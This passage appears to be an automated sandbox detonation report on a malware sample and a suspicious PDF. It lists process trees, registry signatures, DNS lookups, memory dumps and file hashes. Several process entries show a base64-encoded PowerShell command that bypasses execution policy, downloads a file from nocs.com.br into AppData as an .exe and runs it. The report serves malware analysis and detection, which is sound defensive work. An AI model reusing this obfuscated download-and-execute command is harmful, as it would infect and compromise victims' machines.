AMgAwADcAMABDADAARABGAEEAMAA1ADAANQBGAEYAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOABGAEIAMAAyADAANwAwADAARgBFADAAQgAwAEMAQwA3AEYAQwBGAEEARgBCAEQANgAwADYARgA2AEYANABGAEEARAA2AEMAQQBEADYARgBBAEYANgBCADkARgA0AEYARABEADYARQA5AEQARQBGADMARABBAEUAOABEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAwADYANQA4ADQAMwAuAGUAeABlADsA

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Powershell.exe -e UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AbgBvAGMAcwAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAaABlAG0AZQBzAC8AYwBhAGsAZQAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMAA2ADUAOAA0ADMALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwADYAMAA4ADEAMwBGAEQARgBFADAARgBGAEYAMAAyADAAQgBGAEUARgBGADAAOAAxADEAQwA4ADAAMgAwADcAMABDADAARABGAEEAMAA1ADAANQBGAEYAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOABGAEIAMAAyADAANwAwADAARgBFADAAQgAwAEMAQwA3AEYAQwBGAEEARgBCAEQANgAwADYARgA2AEYANABGAEEARAA2AEMAQQBEADYARgBBAEYANgBCADkARgA0AEYARABEADYARQA5AEQARQBGADMARABBAEUAOABEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAwADYANQA4ADQAMwAuAGUAeABlADsA

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	nocs.com.br	udp

Files

memory/3068-2-0x0000000073751000-0x0000000073752000-memory.dmp

memory/3068-3-0x0000000073750000-0x0000000073CFB000-memory.dmp

memory/3068-4-0x0000000073750000-0x0000000073CFB000-memory.dmp

memory/3068-5-0x0000000073750000-0x0000000073CFB000-memory.dmp

memory/3068-6-0x0000000073750000-0x0000000073CFB000-memory.dmp

memory/3068-8-0x0000000073750000-0x0000000073CFB000-memory.dmp

memory/2948-9-0x0000000000400000-0x0000000000446000-memory.dmp

Analysis: behavioral10

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win10v2004-20240508-en

Max time kernel

140s

Max time network

106s

Command Line

"C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe"

Signatures

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 1712 wrote to memory of 1120	N/A	C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe	C:\Windows\SysWOW64\cmd.exe
PID 1712 wrote to memory of 1120	N/A	C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe	C:\Windows\SysWOW64\cmd.exe
PID 1712 wrote to memory of 1120	N/A	C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe	C:\Windows\SysWOW64\cmd.exe
PID 1120 wrote to memory of 2840	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1120 wrote to memory of 2840	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1120 wrote to memory of 2840	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe

"C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c Powershell.exe -e UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AbgBvAGMAcwAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAaABlAG0AZQBzAC8AYwBhAGsAZQAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMAA2ADUAOAA0ADMALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwADYAMAA4ADEAMwBGAEQARgBFADAARgBGAEYAMAAyADAAQgBGAEUARgBGADAAOAAxADEAQwA4ADAAMgAwADcAMABDADAARABGAEEAMAA1ADAANQBGAEYAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOABGAEIAMAAyADAANwAwADAARgBFADAAQgAwAEMAQwA3AEYAQwBGAEEARgBCAEQANgAwADYARgA2AEYANABGAEEARAA2AEMAQQBEADYARgBBAEYANgBCADkARgA0AEYARABEADYARQA5AEQARQBGADMARABBAEUAOABEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAwADYANQA4ADQAMwAuAGUAeABlADsA

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Powershell.exe -e UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AbgBvAGMAcwAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAaABlAG0AZQBzAC8AYwBhAGsAZQAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMAA2ADUAOAA0ADMALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwADYAMAA4ADEAMwBGAEQARgBFADAARgBGAEYAMAAyADAAQgBGAEUARgBGADAAOAAxADEAQwA4ADAAMgAwADcAMABDADAARABGAEEAMAA1ADAANQBGAEYAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOABGAEIAMAAyADAANwAwADAARgBFADAAQgAwAEMAQwA3AEYAQwBGAEEARgBCAEQANgAwADYARgA2AEYANABGAEEARAA2AEMAQQBEADYARgBBAEYANgBCADkARgA0AEYARABEADYARQA5AEQARQBGADMARABBAEUAOABEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAwADYANQA4ADQAMwAuAGUAeABlADsA

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp
US	8.8.8.8:53	133.211.185.52.in-addr.arpa	udp
US	8.8.8.8:53	0.205.248.87.in-addr.arpa	udp
US	8.8.8.8:53	23.159.190.20.in-addr.arpa	udp
US	8.8.8.8:53	nocs.com.br	udp
US	8.8.8.8:53	154.239.44.20.in-addr.arpa	udp
NL	23.62.61.194:443	www.bing.com	tcp
US	8.8.8.8:53	26.35.223.20.in-addr.arpa	udp
US	8.8.8.8:53	194.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	183.142.211.20.in-addr.arpa	udp
US	8.8.8.8:53	103.169.127.40.in-addr.arpa	udp
US	8.8.8.8:53	18.31.95.13.in-addr.arpa	udp
US	8.8.8.8:53	172.210.232.199.in-addr.arpa	udp
US	8.8.8.8:53	240.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	14.227.111.52.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp

Files

memory/2840-0-0x000000007429E000-0x000000007429F000-memory.dmp

memory/2840-1-0x0000000004E80000-0x0000000004EB6000-memory.dmp

memory/2840-3-0x00000000055A0000-0x0000000005BC8000-memory.dmp

memory/2840-2-0x0000000074290000-0x0000000074A40000-memory.dmp

memory/2840-4-0x0000000005560000-0x0000000005582000-memory.dmp

memory/2840-7-0x0000000005DB0000-0x0000000005E16000-memory.dmp

memory/2840-6-0x0000000005D40000-0x0000000005DA6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_npbvg0b3.lt5.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2840-5-0x0000000074290000-0x0000000074A40000-memory.dmp

memory/2840-17-0x0000000005F80000-0x00000000062D4000-memory.dmp

memory/2840-18-0x0000000006420000-0x000000000643E000-memory.dmp

memory/2840-19-0x0000000006470000-0x00000000064BC000-memory.dmp

memory/2840-20-0x0000000007AA0000-0x000000000811A000-memory.dmp

memory/2840-21-0x0000000006960000-0x000000000697A000-memory.dmp

memory/2840-22-0x0000000007910000-0x00000000079A6000-memory.dmp

memory/2840-23-0x00000000078B0000-0x00000000078D2000-memory.dmp

memory/2840-24-0x00000000086D0000-0x0000000008C74000-memory.dmp

memory/2840-28-0x0000000074290000-0x0000000074A40000-memory.dmp

memory/1712-29-0x0000000000400000-0x0000000000446000-memory.dmp

Analysis: behavioral11

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20240508-en

Max time kernel

118s

Max time network

119s

Command Line

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-14938.-2017.pdf"

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Processes

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-14938.-2017.pdf"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5	60ebda31299d280f337d3fbbede8f820
SHA1	74b5ebbf1320dd57b62060ca151c661cc994e54c
SHA256	3e88081ab451a54362c7075558b8efa9ce7e708c956cc6332ad7345de0355610
SHA512	3d846717ae4dad4f52f0d77f35f0ef6adb0dba2f12b5dd4f0b98899c10f2206744fe98d5323a3632de58936770b76b9ceef448adf79ab62102bb6ecc0d1f960c

Analysis: behavioral12

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win10v2004-20240508-en

Max time kernel

132s

Max time network

141s

Command Line

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-14938.-2017.pdf"

Signatures

Checks processor information in registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Modifies Internet Explorer settings

adware spyware

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of WriteProcessMemory

Processes

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-14938.-2017.pdf"

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8214DE400E2CCF9A57C56B53EA75C668 --mojo-platform-channel-handle=1736 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=7892C9A5A7E04736B273AFA5A589BFE0 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=7892C9A5A7E04736B273AFA5A589BFE0 --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=643DA04274C99D746DF7E5A359C0105E --mojo-platform-channel-handle=2332 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9F6EF804AF6ECFD03EB3F228215E6364 --mojo-platform-channel-handle=2344 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=980C1914CC7E396D6AAB498EC12F6072 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=980C1914CC7E396D6AAB498EC12F6072 --renderer-client-id=6 --mojo-platform-channel-handle=2528 --allow-no-sandbox-job /prefetch:1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A0E5767B14FC4FB839D2467F6AE18D53 --mojo-platform-channel-handle=2656 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	133.211.185.52.in-addr.arpa	udp
US	8.8.8.8:53	240.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	17.160.190.20.in-addr.arpa	udp
US	8.8.8.8:53	g.bing.com	udp
US	204.79.197.237:443	g.bing.com	tcp
US	8.8.8.8:53	237.197.79.204.in-addr.arpa	udp
NL	23.62.61.97:443	www.bing.com	tcp
US	8.8.8.8:53	144.96.55.23.in-addr.arpa	udp
US	8.8.8.8:53	35.251.17.2.in-addr.arpa	udp
US	8.8.8.8:53	183.59.114.20.in-addr.arpa	udp
US	8.8.8.8:53	198.187.3.20.in-addr.arpa	udp
US	8.8.8.8:53	86.23.85.13.in-addr.arpa	udp
US	8.8.8.8:53	37.56.20.217.in-addr.arpa	udp
US	8.8.8.8:53	88.156.103.20.in-addr.arpa	udp
US	52.111.227.11:443		tcp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp

Files

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5	2d8e45ece12068961f45321dc4116453
SHA1	b32626ca6838cac33f22305dc8cb0cd18d455a60
SHA256	7b5cf9c389ea7a3beb73ab540eab7f249605ae744aa20bc785c686c32c7618c7
SHA512	b097e985a9a0a9bb408f2504337c7e329f72b54e6fa107b4676deb7e756fb91d247ec4cecd240e31ba70f553d694059bb24d3cb40b75dd86e3a1de75b414f05c

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5	acc5158f1c5171497b10f77e4ca30e12
SHA1	b26f658797eb95b7e29057983d610c93cf54e072
SHA256	6ab7e21f86d1a1c634b19e42c1ee7eb0b582e9e6b1a8633c25d41b3ad3697e05
